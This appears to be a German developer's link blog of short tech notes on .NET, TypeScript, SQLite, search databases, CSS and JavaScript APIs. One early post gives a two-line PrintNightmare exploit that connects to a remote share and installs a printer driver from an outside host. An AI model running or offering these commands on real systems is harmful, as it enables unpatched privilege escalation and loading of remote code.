in C hat kein Äquivalentes Konzept in C++. Ist vielleicht auch ganz gut so. Sowas sollte eher vom Compiler enforced werden.
Hier ein Exploit für die Printer-Nightmare-Geschichte, die aktuell noch nicht gefixt ist.
Besteht aus zwei Zeilen:
net use \\printnightmare.gentilkiwi.com\ipc$ /user:gentilguest password
rundll32 printui.dll,PrintUIEntry /in /n"\\printnightmare.gentilkiwi.com\Kiwi Legit Printer"
Natürlich macht der verwendete Drucker dort sicherlich auch noch was. Aber ist schon cool, dass das einfach ein ein zwei-Zeilen-Batch-Skript passt.
Hier hat Julia Evans Muster aufgeschrieben, der er seiner Meinung nach in schlechten/verwirrenden Erklärungen häufig findet.
HN ist dazu auch empfehlenswert. Hier einige Dinge, die mir auch auffallen:
Another pattern I usually encounter is explaining the how but not the why. […]
Whenever I see a “how-but-not-why” article I assume that the author doesn’t understand the “why” part yet… they’ve likely just rote-learned the “how” part and are regurgitating it. […]
Is Hacker News a Good Predictor of Future Tech Trends?
Betrachtet natürlich nur die Fälle, die Trends wurden. Nicht die, die auf HN waren, aber nichts wurden.
Wo wir gerade bei Datenbanken waren - Ihr kennt sicher Discord. Heute stolperte ich über einen Artikel der Discord-Leute aus dem Jahr 2017, wo sie ihre Migration von MongoDB auf Cassandra beschreiben. Also mit technischen Requirements und Begründungen etc., wie man das machen sollte. Der Artikel beshreibt ganz gut und geht auch darauf ein, was man bei Cassandra beachten sollte.
Wer bei Cassandra an “Ressourcenfressende Java-Datenbank” denkt, mag vielleicht nicht ganz falsch liegen. 2020 migrierten sie dann auf ScyllaDB, einem Cassandra-kompatiblen Drop-in-Replacement, geschrieben in C++.
Kennt Ihr FastAPI? Das ist ein relativ einfaches Python-Framework, mit dem man ganz gut mal ne (REST-)APIs bauen kann. Ist auch relativ schnell, also im Vergleich zu Django und Flask.
Derselbe Mensch hat jetzt eine SQL_API rausgebracht: SQLModel. Verwendet - wie FastAPI auch - Pydantic zur Validierung und SQLAlchemy um mit der Datenbank zu reden. Der Autor hat es auch auf HN gepostet.
Sieht ganz cool aus, könnte man mal ausprobieren. Funktioniert natürlich auch mit SQLite. :)
Ihr kennt sicher Elasticsearch. Wenn Ihr es nicht selbst schon eingesetzt habt, kennt ihr es vielleicht, weil das gerne offen im Netz hängen gelassen wird oder weil Amazon das aus lizenztechnischen Gründen geforkt hat.
Ist eine Datenbank, die spezialisiert auf Suche ist (ok, da hätte man drauf kommen können). Da es aber in Java geschrieben ist und auch schon ein bisschen existiert, ist es eher relativ dicke Software, die vieles kann und auch viel Ressourcen verbraucht, letztendlich auch wegen Java. Ich kenne Software-Stacks, in denen das zur Auswertung der Logs verwendet wird. Dort kommt es dann nicht selten vor, dass der Elasticsearch-Logging-Stack mehr Ressourcen verbraucht, als die eigentliche Anwendung.
Ich komme darauf, weil gerade Version 0.21.0 von MeiliSearch freigegeben wurde.
Das ist auch eine Datenbank, die spezialisiert auf Suche ist, allerdings in Rust geschrieben (ja, ich weiß, “alles ist besser in Rust” ist ein alter Hut etc.).
Diese Software habe ich schon halb-produktiv verwendet und bin positiv beeindruckt. Sie ist recht einfach aufgebaut, die API ist super straight-forward, genau wie das Rechtesystem. Die Dokumentation ist m. E. n. super gut dafür, dass es Pre-1.0-Software ist. Deployen kann man das Ganze zur Not auch ohne Container, da das gesamte Teil eine einzige Binary ist, die man auch mit einem einfachen git clone
und cargo build
selbst bauen kann.
Die API-Endpunkte sind dafür gebaut, dass man sie direkt von einem Web-Frontend aus ansprechen kann, ohne Backend-Logik dazwischen.
Vom Funktionsumfang ist das natürlich nicht mit einem Elasticsearch vergleichbar. Es ist ja auch noch Pre-1.0-Software. Die Use-Cases überschneiden sich wahrscheinlich auch nur teilweise, weil MeiliSearch aktuell primär für “Search-as-you-Type”-Sachen gemacht ist.
Neben Elasticsearch und MeiliSearch gibt es natürlich auch noch andere Alternativen. Was ich mit diesem Post auf jeden Fall sagen will: Es muss nicht immer Elasticsearch sein und die Alternativen kennen viele nicht.
C++20 Concepts: The Definitive Guide und C++20 modules with GCC11
Datenstrukturdienstag:
Eine meiner lieblings-Strukturen, der Bloom-Filter.
Eine wichtige Eigenschaft eines Bloom-Filters ist die False-Positive-Rate. Das ist die Wahrscheinlichkeit für False-Positives. Zu dieser Wahrscheinlichkeit gab es 30 Jahre später noch eine neue Formel, da die ursprüngliche wohl fehlerhaft war. Hier ist ein Writeup dazu. Hier ist noch ein Paper dazu.
Was man in der Praxis für Probleme mit einem Bloom-Filter haben kann, hat Cloudflare mal aufgeschrieben.
Richtig coole Idee: Hashing zur Stringsuche. Der Autor verlinkt auch die Knuth-Morris-Pratt-String-Suche.
Eine relativ unbekannte Firma, die aber im Prinzip das Monopol auf Maschinen für moderne Halbleiterfertigung hat: ASML
Intel, Samsung und TSMC sind große Kunden von denen.
Hier ein Video über das, was sie so machen. Schaut Euch das mal an. Das Level von Engineering, was die da betreiben, ist einfach komplett absurd.
Aus einer Jobbeschreibung:
Imagine perfecting an optical system where aberrations are kept to within one thousandth of the wavelength of light used.
In this optical system, 200 kg reflectors need to be positioned to within an accuracy of less than a nanometer, and then repositioned every second to compensate for millikelvin fluctuations.
Neue Funktionen in .NET 6, die durch Entwicklerfeedback kamen.
Der Entwickler von Flask versteht asyncio aus Python nicht. Es ist laut ihm einfach zu over-engineered.
Könnte man auch als einen der Blogposts einstufen, die man kennt.
Leider hat man von asyncio nicht viel, denn die Webanwendung wird dadurch langsamer. (HN dazu)
Wir hatten neulich ja die Bewertungssysteme von HN und Reddit. Hier schreibt Chatroulette, wie sie ihr Matchmaking machen.
Aus der “Bekannte Blogposts”-Serie: What Color is Your Function?
Man stelle sich vor, Programmiersprachen haben zwei Arten von Funktionen: Rote und Blaue. Dazu kommen Regeln, wie man sie kombinieren kann.
Am Ende sieht man, worum es eigentlich geht. Haben wir sicherlich alle schon einmal benutzt.
Ein Hello World in rust(🚀). 33GB Dependencies, kompiliert 2.5 Stunden.
Wann React Child-Components rendert. Am Ende ist auch eine Fortsetzung verlinkt, die die Fälle behandelt, wenn Props dabei sind.
Bei Apples CSAM war schon recht schnell klar, dass es kaputt ist (mal von der Frage abgesehen, ob man das überhaupt haben will).
Ich dachte, das hat sich mit dieser einen Kollision (bzw. 2nd-Pre-Image-Attack) und eigentlich muss man da nicht weiter drauf rum hauen. Dann wurde es ganz schnell noch kaputter und jetzt gibt es ein CLI-Tool, das diesen Angriff super easy fährt.
Gut, dachte ich, das wird es jetzt aber definitiv gewesen sein; kaputter geht nicht. Wohl doch. Jetzt kann man glaub ich aber auch echt aufhören, da gibt’s nichts mehr zu holen.
In CSS gibt es die Property will-change
, mit dem man dem Browser sagen kann, dass sich andere CSS-Propertys ändern werden und er das schon mal voroptimieren kann.
Abundzu muss man aus einem größeren Zahlenraum auf einen kleineren mappen, z. B. auf den Index eines Arrays. Da sieht man häufig eine Konstruktion mit Modulo: arr[i % n]
(wobei n die Länge des Arrays ist).
Für manche ist Modulo zu langsam. In dem Fall kann man diesen Hack anwenden. Aber Achtung, macht nicht das gleiche wie Modulo. Aber verteilt trotzdem auf die Range, die man haben will (ob das wir Modulo bei Zufallswerten auch einen Bias einführt, steht da glaub ich aber nicht).
Ich finde einige Datenstrukturen echt interessant. Immer wieder schön zu sehen, welche Hacks sich überlegt wurden. Vielleicht braucht es ja einen Datenstruktur-Dienstag?
Den Anfang macht…
MS hat hier zusammengetragen, was es für Performanceverbesserungen in .NET 6 gibt.
Insgesamt echt beeindruckend, alleine schon das Volumen des Posts. Habe jetzt nicht alles einzeln gelesen, nur grob überflogen. Eine Sache ist mir aber aufgefallen:
Most of the Math methods can now participate in constant folding, so if their inputs end up as constants for whatever reason, the results can become constants as well
[…]
dotnet/runtime#42831 from @nathan-moore ensured that the Length of an array created from a constant could be propagated as a constant.
[…]
[…]
dotnet/runtime#55745, which enables the JIT to foldTimeSpan.FromSeconds(constant)
(and other suchFrom
methods) into a single instruction.
Nice!
Offenbar ist die Compilerinfrastruktur bei .NET jetzt so gut, dass solche Verbesserungen von random GitHub-Leuten eingereicht werden können.
Ich habe vor einier Zeit mal den Vorschlag gemacht, CTFE in C# zu machen. Das ist jetzt definitiv obsolet. Nahezu jedes Beispiel aus dem Proposal wird jetzt vom Constant-Folding optimiert (was ich auch für den besseren Ansatz halte).
Die verbleibenden Use-Cases könnten von generischen Const-Parametern abgefertigt werden. In meinem Proposal werden auch const structs
angedeutet (also struct
s, die zur Compile-Time schon einen Wert haben und sich nicht mehr ändern). Da gibt es auch ein separates Proposal zu. Der Vorteil davon wäre, dass man z. B. DateTime
s als “richtige” Konstante haben kann (nicht nur als Shared-Readonly) und es eigentlich keinen Grund gibt, das nicht zu tun, weil das intern auch nur ein Int64 und sonst immutable ist.
Es gibt Helvetica als Variable Font.
Intel möchte bald dedizierte GPUs rausbringen.
Auf HN scheinen sich viele darüber zu freuen, sowohl für Intel als auch für sich selbst. Vorranging wohl wegen der aktuellen GPU-Knappheit. Ich hab jetzt nicht so tolle Erfahrungen mit Intel-Grafik, aber in dem Thread berichten viele von guten Linux-Treibern, was im Vergleich zu Nvidia wohl auch noch ein guter Punkt wäre.
Spannend!
If you set your http proxy to be
theoldnet.com
port1997
, and (important!) add an exclusion forweb.archive.org
, then you can browse the entire web from 1997.
You can also change the port number to your preferred year. This is really fun on retro systems / web browsers.
Wer es probieren möchte: https://theoldnet.com/docs/httpproxy/index.html
Ich mag ja coole und vorallem verrückte Ideen für Programmiersprachen.
Hier ist eine für Musik, hier ein Tutorial.
Codeausschnitt:
trumpet: (tempo 200) o4 c8 d e f g a b > c4.
trombone: o3 e8 f g a b > c d e4.
Ein sehr deutlicher Rant aus 2011 darüber, dass fast alle Software schlecht ist. Kann ich ein bisschen nachvollziehen. Habe auch eine Liste mit Software, die ich nicht schlecht finde.
TypeScript 4.4 ist da (als RC). Die Neuerungen sind im Prinzip gleich zu der Beta.
Im Vergleich zur Beta ist vorallem neu, dass es jetzt einen static
-Initializer gibt, der aus einem ES-Proposal kommt.
Wer es nicht kennt, das ist quasi ein Konstruktor für die statischen Elemente einer Klasse. Gibt es mit derselben Syntax auch in C# und Java. Bei C# heißt das Class Construtor (cctor, Erklärung):
class C {
static x = ...;
static y;
static z;
static {
try {
const obj = doSomethingWith(this.x);
this.y = obj.y;
this.z = obj.z;
}
catch {
this.y = ...;
this.z = ...;
}
}
}
(this
zeigt im statischen Kontext auf die Klasse, nicht auf eine Instanz)
Gerade ist eine neue .NET-Preview veröffentlich worden. Bis auf ein paar Library-Neuerungen ist vorallem eines neu: Statische Interface-Member.
Damit kann man diverse Patterns, wie z. B. Parse
+ TryParse
jetzt als Interface-Methoden definieren (das ging vorher nicht, weil die beiden Methoden statisch sind und Interfaces auf Instanzmethoden beschränkt waren). Jetzt geht das.
Damit lässt sich jetzt sehr viel machen, z. B. mathematische Operatoren über generische Interfaces zu definieren. Dann kann einer Library egal sein, welchen Typ man reinwirft, hauptsache er “kann Addition” (überladene Operatoren sind auch statische Methoden, deshalb ging das bisher nicht). Natürlich gehen auch Vergleichsoperatoren, die bisher über das IComparable<T>
-Interface liefen.
Wenn man da jetzt die Mathematiker drauf lässt, bekommt man sicher ganz viele Gruppen, Monoiden, Ringe, Körper und noch ganz andere viele Dinge. Ich hoffe, dass der JIT damit ordentlich umgehen kann.
Bei den Gleichheitsoperatoren fällt mir jetzt auf, dass sie nicht zwischen Partieller Gleichheit und totaler Gleichheit unterscheiden, wie Rust das macht. Generell wirkt es etwas, wie Concepts aus C++. Vielleicht ein bisschen weniger mächtig.
dns.google ist nicht nur die Domain des Anfragen-trackenden DNS-Servers von Google (die berühmten vier achten). Die haben eine praktische GUI, mit der man mal eine Test-Anfrage machen kann.
Wer nicht weiß, welchen DNS-Server man als Upstream verwenden könnte, wenn nicht Google, Cloudflare, etc.: digitalcourage hat da welche.
Mit window.find
(achtung, Non-Standard) kann man Strings im Fenster der Webseite finden.
Git hat 2 eher weniger bekannte Commands: switch
und restore
. Machen beide ein bisschen das, was man sonst mit checkout
gemacht hat.
Ihr erinnert Euch vielleicht an die eine Seite, die eine SQLite-Datei mit Range-Requests serviert hat, um dann Clientseitig SQL-Statements per HTTP darauf abzusetzen (Zugriff auf Offsets in der SQLite-Datei wurden auf Range-Requests gemappt).
Hier hat das jemand genommen und die gesamte Wikipedia in eine SQLite-Datei gepackt. Also mit Volltextsuche und ohne wirkliches Backend.
Wo wir gerade bei Ratings waren: Hier eine Analyse, wie es möglicherweise bei Hacker News funktioniert. Hier ist noch eine andere Analyse.
Wie Reddit ihre Dinge (Kommentare, Posts) sortiert (oder es zumindest mal getan hat).
Reddit war wohl vor ein paar Jahren auch noch open source.
Hier gibt’s den originalen Quelltext davon.
Dieses Ranking-System wird auch auf pr0gramm verwendet.
Bin auf einen interessanten Youtube-Channel gestoßen: ScienceClic English
Macht viel Physik, fast schon im 3blue1brown-Stil. Er geht auch relativ detailliert auf die Themen ein und redet nicht nur grob über Dinge, wie man es z. B. von Lesch kennt.
In dem Kontext muss man natürlich auch Sabine Hossenfelder und PBS Space Time erwähnen. Vielleicht auch noch den Urknall, Weltall, Leben-Channel.
Intel überlegt, Globalfoundries zu kaufen. Die sind eine Ausgründung von AMD, welche ihre Sachen mittlerweile bei TSMC fertigen lassen.
Cooler Talk vom SQLite-Erfinder über… SQLite. Er gibt ein bisschen an, ist aber IMHO ein guter Speaker, dem man gut zuhören kann.
Die Beta von TypeScript 4.4 wurde gerade veröffentlicht. Sind ein paar schöne Neuerungen dabei. Vorallem die verbesserte Kontrollflussanalyse.
Mal schauen, was aus Inlay Hints wird. Die gibt’s ja schon länger bei IntelliJ für Java (und vermutlich auch andere von denen supportete Sprachen). In der Preview sieht das noch sehr noisy aus.
Ich schreib ja schon, dass die neue Temporal API jetzt in Stage 3 ist. Hier ist noch ein schöner Walk-Through.
Node.js hat eine API für einen asynchronen LocalStorage bekommen. Mal schauen, was es für coole Use-Cases es für den asyncLocalStorage
gibt. Erinnert ein bisschen an Reacts useContext()
.
Mit dem itemprop
-Attribut kann man seinem HTML noch mehr Semantik geben. Auszu aus MDN:
<div itemscope itemtype="http://schema.org/Movie">
<h1 itemprop="name">Avatar</h1>
<span>
Director:
<span itemprop="director">James Cameron</span>
(born August 16, 1954)
</span>
<span itemprop="genre">Science fiction</span>
<a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">Trailer</a>
</div>
Auf MDN gibt’s noch um einiges mehr Beispiele. U. a. auch das meter
-Element, um z. B. Bewertungen darzustellen:
<meter itemprop="ratingValue" min=0 value=3.5 max=5>Rated 3.5/5</meter>
Der Web-Bloat-Score (WebBS) ist eine interessante Metrik für überflüssiges Zeug in einer Webseite.
Warum heißt es eigentlich “Datenvolumen”? Warum sind Daten ein Rauminhalt?
Warum keine Länge oder Fläche? Oder eine ganz andere Basiseinheit, wie “Datenmenge” oder “Datenmasse”?
Lesetipp: Bei IEEE-floats macht es einen deutlichen Unterschied, in welcher Reihenfolge man sie addiert. Man kann Rundungsfehler so kleiner halten.
Wem sowas wichtig ist, sollte natürlich einen Datentyp ohne dieses Problem wählen.
Einer meiner Lieblings-Youtuber, Ben Eater, hat gerade ein neues Video hochgeladen: How does a USB keyboard work?
Ich habs noch nicht gesehen, kann aber jetzt schon sagen, dass es sich lohnt. In seinem Kanal baut+erklärt er diverse Dinge auf einem Breadboard. Z. B. einen 8-Bit-Prozessor, eine VGA-Ansteuerung und eine PS2-Tastatur-Ansteuerung. Er baut das nicht einfach so, sondern zeigt auch, wie man das an einen Prozessor anbindet (dem 6502). Wenn man also seinen Videos folgt, kann man schon einen Computer mit Tastatur und Bildschirm(en) auf einem Breadboard bauen… und jetzt kommt die erste USB-Peripherie!
Was ist Euer lieblings Hex-Editor? hxd? 010?
Schon mal Audacity versucht?
Ein weiterer Blogpost, den viele kennen: PHP: a fractal of bad design
Ist auch schon etwas älter (2012). In der Zeit hat sich fairerweise auch schon viel getan. Das meiste ist aber irreversibel in der Sprache verankert.
Versteht mich nicht falsch, ich will hier ein sinnloses PHP-gebashe betreiben. Man kann PHP durchaus für Dinge verwenden. Es ist halt eine von vielen möglichen Lösungen.
Gerade hat Microsoft ihre Entwicklerkonferenz BUILD. Da kam jetzt auch eine neue Preview-Version von .NET 6 raus. Hier gibt es einen Artikel über die Neuerungen. Viel cooles dabei. Am meisten freuen mich die neuen Funktionen in der LINQ.
Der nächste Klassiker-Post: I Knew How To Validate An Email Address Until I Read The RFC.
Auch schon etwas älter (2007), aber hat nicht an Relevanz verloren. Auf HN war auch gerade ein passender Post dazu.
Warum ich überhaupt auf den DOOM-Post gekommen bin: Es gibt auch ein CAPTCHA, in dem man in einem fake-DOOM mindestens 4 Gegner treffen muss. Ist natürlich nicht das “echte” DOOM. Aber möglich wäre das sicherlich über WebAssembly und WebGL. Und bei der durchschnittgröße einer Webseite heutzutage würde es vermutlich nicht mal auffallen, wenn man das komplette DOOM nur für das CAPTCHA lädt.
Es gibt ja so diverse Blogposts, die man als Internetmensch normalerweise mal gesehen hat. Ich fage hier mal eine Serie an.
Der Anfang ist: The Web is Doom aus 2016. Grundaussage: Die durchschenittliche Webseite ist heute (also das Heute von 2016) größer als das erste DOOM, dem 2.5D-Shooter.
Mittlerweile kann jeder nennenswerte Browser das backdrop-filter
-Attribut in CSS.
Damit kann man diverse Filter auf das anwenden, was hinter einem HTML-Element liegt. Z. B. einen Weichzeichner, Graustufen, Sepia etc.
Früher war das immer kompliziert, wenn Leute Aero-Effekt von Vista nachbauen wollten; jetzt geht das mit einer CSS-Eigenschaft.
Ideen, wo man das EICAR-AV-Testfile überall eingeben könnte. Naja, eigentlich überall, wo man auch SQL-Injections probieren könnte.
Die heutige SQLite-News: SQLite hat eine Volltextsuche. War unter diesem Artikel verlinkt, der eine Elasticsearch-Instanz mit SQLite ersetzt hat.
SQLite überrascht mich immer wieder.
Falls Ihr Node.js/JavaScript und Promises verwendet: Diesen Talk solltet Ihr gesehen haben. Schickt ihn am besten auch an Eure Kollegen. Prämisse: Ihr benutzt wahrscheinlich Promises falsch. Kann man auch auf 1.25-facher Geschwindigkeit schauen.
Ein interessanter Ansatz für Shell-Skripte. Das ist JavaScript, aber mit einigen Default-Imports und npm-Paketen. Die Demos sehen interessant aus:
#!/usr/bin/env zx
await $`cat package.json | grep name`
let branch = await $`git branch --show-current`
await $`dep deploy --branch=${branch}`
await Promise.all([
$`sleep 1; echo 1`,
$`sleep 2; echo 2`,
$`sleep 3; echo 3`,
])
let name = 'foo bar'
await $`mkdir /tmp/${name}`
Das Temporal
-Proposal ist neulich in Stage 3 gelandet. Das ist eine neue Zeit-API für JavaScript, mit der man endlich Date
, moment.js
etc. wegwerfen kann.
Hier eine schnelle Übersicht. Wesentlich ist die Unterscheidung zwischen einem “Datum”/”Datum+Zeit” und einem “Instant”. Das letztere kennen viele vielleicht als Konzept aus Jodatime/Nodatime und ist eigentlich fast immer das, was man will, wenn man mit Timestamps arbeitet.
Zusammen mit den APIs Intl.DateTimeFormat
und Intl.RelativeTimeFormat
braucht man jetzt eigentlich keine Librarys mehr für irgendwelche Dinge mit Zeit. Die gesamte Intl
-API ist übrigens einen Blick wert. Da sind auch so Sachen wie Zahlenformatierung und Plural-Regeln.
parseInt
ist in JavaScript so ein Ding. Nicht nur, dass der zweite Parameter die Basis angibt und es damit unnütz für Operationen wie .map
wird1. Nein, auch, wenn das zu parsende bereits eine Zahl ist, gibt’s Probleme!
Nehmen wir dieses schöne Beispiel und versucht rauszubekommen, was das Ergebnis für jede Zeile ist:
parseInt(0.5);
parseInt(0.05);
parseInt(0.005);
parseInt(0.0005);
parseInt(0.00005);
parseInt(0.000005);
parseInt(0.0000005);
Richtig, alle Zeilen bis auf die letzte geben 0
zurück. Und die letzte? Die wird zu 5
.
Hier die Erklärung, wie das zustande kommt. tl;dr: 0.0000005.toString()
ist "5e-7"
, welches bis zum e
geparst wird. Die davor sind 0, weil 0.000005.toString()
zum String "0.000005"
wird (und der Parser korrekterweise den Integer 0
daraus macht). Das verursacht aktuell bestimmt schon viele Bugs und wär’ bestimmt auch ein cooler Aufhänger für ein Node.js-CTF!
Als Alternative zu parseInt
könnte man jetzt so Konstrukte wie Number(0.0000005) | 0
ranziehen. Vielleicht hat das aber auch wieder seine Fallstricke?
1: Zugegebenermaßen ist es aber auch sinnvoll, die Basis zum Parsen mit angeben zu können.
Ich immer, mit meinem SQLite. Hier hat jemand etwas echt cooles gebaut: Eine SQLite-Datei, statisch gehostet. Der JS-Client kann an diese Anfragen schicken. Ein Wrapper um das Client-Dateisystem fragt Seiten erst an, wenn der SQLite-Client sie lesen will.
Warum ist das cool? Man kann damit eine komplett statisch gehostete Suchfunktion für statische Seiten bauen, bei dem die SQLite-DB bei jedem Page-Build frisch gebaut wird. Oder bequem Datensätze an den Client ausliefern, ohne ein Backend zu haben.
Da gibt’s sicher noch einige Anwendungsfälle mehr!
Kleiner Selbsttest: Wie viel kann ein Computer in einer Sekunde machen?
Mit apt-file
kann man in APT-Paketen nach einer datei suchen. Das ist praktisch, wenn man mal wieder ein Latex-Dokument kompilieren will und irgendein Package fehlt und man nicht weiß, welches man dafür installieren muss.
Konkretes Beispiel: listings.sty
wird nicht gefunden.
$ apt-file search listings.sty
latexml: /usr/share/perl5/LaTeXML/Package/listings.sty.ltxml
texlive-extra-utils: /usr/share/texlive/texmf-dist/tex/latex/checklistings/checklistings.sty
texlive-lang-japanese: /usr/share/texlive/texmf-dist/tex/luatex/luatexja/patches/lltjp-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/cnltx/cnltx-listings.sty
texlive-latex-extra: /usr/share/texlive/texmf-dist/tex/latex/exsheets/exsheets-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/filehook/filehook-listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/listings/listings.sty
texlive-latex-recommended: /usr/share/texlive/texmf-dist/tex/latex/lwarp/lwarp-listings.sty
texlive-publishers: /usr/share/texlive/texmf-dist/tex/latex/hagenberg-thesis/hgblistings.sty
texlive-xetex: /usr/share/texlive/texmf-dist/tex/xelatex/xecjk/xeCJK-listings.sty
War in diesem Fall dann wohl texlive-latex-recommended
.
WSL kann jetzt offiziell Linux-GUI-Anwendungen mit Ton und GPU-Beschleuenigung.
MIt Xming konnte man schon vorher GUI-Anwendungen in WSL laufen lassen. Jetzt wird es aber offiziell von MS unterstützt. Die dazugehörige Software ist open-source.
Spannende Neuerungen: Eigentlich keine.
Ihr kennt sicherlich <input type="email>
und so weiter. Wenn einem das nicht reicht, kann man input
-Felder auch mit RegEx-Patterns validieren:
<input
type="text"
name="country_code"
pattern="[A-Za-z]{3}"
title="Three letter country code"
>
Bin gerade auf diese Seite zum Generieren von Mock-Daten gestoßen:
Sieht cool aus. Sind aber kommerziell - vielleicht gibt’s auch FOSS-CLI-Tool-Alternariven?
Wir hatten ja gerade Event-Listener-APIs. Da gibt’s noch mehr:
Will man viele Handler auf einmal entfernen, kann man das auch über einen AbortController
machen:
const controller = new AbortController();
element1.addEventListener("click", () => {}, {
signal: controller.signal,
});
element2.addEventListener("click", () => {}, {
signal: controller.signal,
});
element3.addEventListener("click", () => {}, {
signal: controller.signal,
});
// Alle Handler entfernen
controller.abort();
Was mir an der Lösung so schön gefällt, ist, dass man kein removeEventListener
braucht. Genauer gesagt: Man muss die Lamdas nicht in Variablen auslagern, damit man sie dann removeEventListener
wieder übergeben kann.
Der AbortController
ist sowas ähnliches wie die CancellationTokenSource
und das AbortSignal
sowas wie das CancellationToken
aus .NET.
Man kann den AbortController
auch nutzen, um einen fetch
-Request abzubrechen:
fetch(url, {
signal: controller.signal,
});
Besonders toll finde ich, dass man damit mehrere Aktionen gleichzeitig abbrechen kann.
Leider ist das ganze API-spezifisch. Also man kann nicht generell Promises damit abbrechen. Dafür gab es mal ein Proposal und ein wenig später noch eins, das auch nicht mehr so aktiv ist.
MDN-links:
Wer öfters mit Node.js und im Browser arbeitet, der wird on()
bei Node.js und addEventListener()
im Browser kennen.
Oft möchte man aber nur ein einziges Mal auf ein Event reagieren. Bei Node.js gibt es dafür once()
. Verhält sich wie on()
, wird aber nur ein Mal aufgerufen.
Bisher dachte ich, dass man das bei addEventListener()
immer manuell amchen musste. Es geht aber so:
element.addEventListener("click", () => {}, {
once: true,
});
Mit console.group
kann man (auf-/einklappbare) Abschnitte in der JS-Konsole erzeugen. Die können auch durchaus verschachtelt sein:
console.log("This is the outer level");
console.group();
console.log("Level 2");
console.group();
console.log("Level 3");
console.warn("More of level 3");
console.groupEnd();
console.log("Back to level 2");
console.groupEnd();
console.log("Back to the outer level");
Man kann in mit JS ohne jQuery ein Element “smooth” in den sichtbaren Bereich scrollen:
el.scrollIntoView({
behavior: "smooth",
});
Man kann zu html-anchor auch ohne JS scrollen, mit CSS:
html {
scroll-behavior: smooth;
}
Dann im HTML:
<a href="#tolle-ueberschrift">Klick hier</a>
<h1 id="tolle-ueberschrift">Es folgt ein toller Artikel...</h1>
Wer Probleme damit hat, dass auf mobilgeräten mit Touchscreen manchmal Dinge gescrollt werden, die eigentlich nicht gescrollt werden sollten, den rettet vielleicht die overscroll-behavior
-Eigenschaft.
Eine Seite mit Sammlungen an Tipps für die Chrome-Dev-Tools, ein bisschen HTML und JS. Vergesst bitte nicht, auch noch in Firefox zu testen! :)
Es gibt einen dialog
-Tag für Modals und sonstige interaktive Komponenten.
Ein schöner Post über ein paar Internals von Git. Im speziellen geht es darum, dass Commits in Git keine Diffs, sondern Snapshots sind.
Wer seine JS-Querdenken-Fähigkeit trainieren will, ist mit diesem Spiel richtig: Return true
to win und alert(1)
to win
Hatte neulich Tools verlinkt, mit denen man auf Dateiinhalte Querys absetzen kann.
Heute springt mit das Tool fselect entgegen. Da kann man SQL-like Abfragen auf das Dateisystem machen, um z. B. eine Datei zu finden. Falls man nicht so fluent in find
ist.
Beispiele aus der README:
fselect "name from /tmp where (name = *.tmp and size = 0) or (name = *.cfg and size > 1000000)"
fselect "LOWER(name), UPPER(name), LENGTH(name), YEAR(modified) from /home/user/Downloads"
fselect size, path from /home/user where name = '*.cfg' or name = '*.tmp'
fselect size, abspath from ./tmp where size gt 2g
TIL: Oracle hat seinen Ursprung in der CIA. Die CIA brauchte eine dicke Datenbank. Das interne Projekt mit dem Codenamen hieß Oracle, was später zu der Firma wurde.
Die FSF sagt übrigens, wenn in deiner Lizenz “The Software shall be used for Good, not Evil.” steht, verletzt das “freedom 0” und macht somit die ganze Lizenz Non-Free.
In dem StackOverflow-Post hatte jemand gefragt, warum plötzlich sein PHP nicht mehr JSON deserialisieren kann. Manche Distributionen haben php*-json
rausgenommen, weil es keine freie Lizenz (nach FSF) hat.
Cooler Hack: Git als NoSql-Datenbank.
Dabei habe ich auch gelernt, dass man sich den Inhalt einer Datei in einem bestimmten Branch mit git show <branch>:<dateipfad>
anzeigen lassen kann.
Glaubt Ihr zu wissen, wie eine E-Mail-Adresse aufgebaut sein kann?
Falls Ihr Duplikate (bitweise identisch) löschen wollt: rmlint ist ein tolles Tool dafür.
Löscht nicht direkt, generiert nur ein Shell-Skript mit dem man dann die Löschung vornimmt. Hat auch diverse Optionen. Z. B. kann man statt Löschen auch einen Sym- oder Hardlink erstellen. Verwende ich bei meinen Readonly-Backups, um etwas Platz zu sparen.
Wer experimentiertfreudig ist, kann das mit dem Hardlinks ja auch mal auf einem node_modules
ausprobieren.
Die npm-Alternative pnpm fährt einen Symlink-Ansatz.
Kennt Ihr jq? Damit könnt Ihr Jsonpath-Querys auf JSON im Terminal werfen. So kann man ganz gut strukturierte Daten in Bash-Skripten verarbeiten.
xq kann das mit XML.
Für YAML gibt es zwei verschiedene, einmal yq (einen jq-Wrapper für XML, YAML und TOML) und yq (jq nur für ausschließlich YAML). Leider haben beide denselben Namen.
Dann gibt es noch q. Mit q kann man SQL-Querys auf CSV-Dateien absetzen.
Seit .NET 5 gibt es in C# ein Sprachfeature, mit dem man Code generieren kann, basierend auf dem C#-Code, der schon da ist.
Das öffnet vielen Dingen die Tore, z. B.:
- Dependency Injection zur Compiletime (statt Runtime); dadurch schnellere Startzeit
- Spezialisierte (JSON-)Serialisierungs-Typen, die genau einen bestimmten Typen (De-)Serialisieren können
- Ganz viel Reflection fällt weg
Eigentlich ist Code-Generation gar nicht so toll. Man hat am Ende Zeug, das man nicht ordentlich debuggen kann und im Zerifelsfall ist der Fehler im Code-Generator. Sowas ist auch immer ein Zeichen dafür, dass die Sprache nicht ausdrucksstark genug ist.
Außerdem habe ich bisher schlechte Erfahrungen damit gemacht (ok, eigentlich nur in Java). Da hat man immer mal wieder das Problem, dass generierter Code (z. B. von immutables.org) “noch nicht da ist” und die IDE dann meckert, warum man eine nicht-existente Klasse verwendet (in diesem Fall z. B. der Builder für einen unveränderlichen Typen).
Man sieht aber trotzdem den Use-Case für solche Dinge. Da C# sich aktuell stark darauf hinentwickelt, Ahead-Of-Time-Compile-fähig zu sein, ergibt dieses Feature Sinn. Z.B. ist Reflection bei AOT-Kompilierung ein Dorn im Auge, da man nicht weiß, welche Typen/Codeteile man aus der fertigen Assembly rausschmeißen kann. Man kann außerdem sehr schön optimieren, wenn man konkreten Code mit ordentlichen Typen statt Reflection hat.
Vermutlich werden viele Dinge, die C# vor ein paar Jahren noch als eigenes Feature gebaut hätte, jetzt als Source-Generator implementiert. Letztendlich ist das ja auch nur ein Compiler-Plugin, das Lowering betreibt. Hoffentlich wird es die Sprache nicht allzu krass verwässern. Die Befürchtung habe ich ja schon.
Hier ist eine Liste mit Source-Generatoren, die man sich in einer freien Minute anschauen kann. Viel Zeug dabei, das man nicht braucht. Aber auch viel nützliches.
Der Dienst ist schon etwas älter, aber immer noch hilfreich.
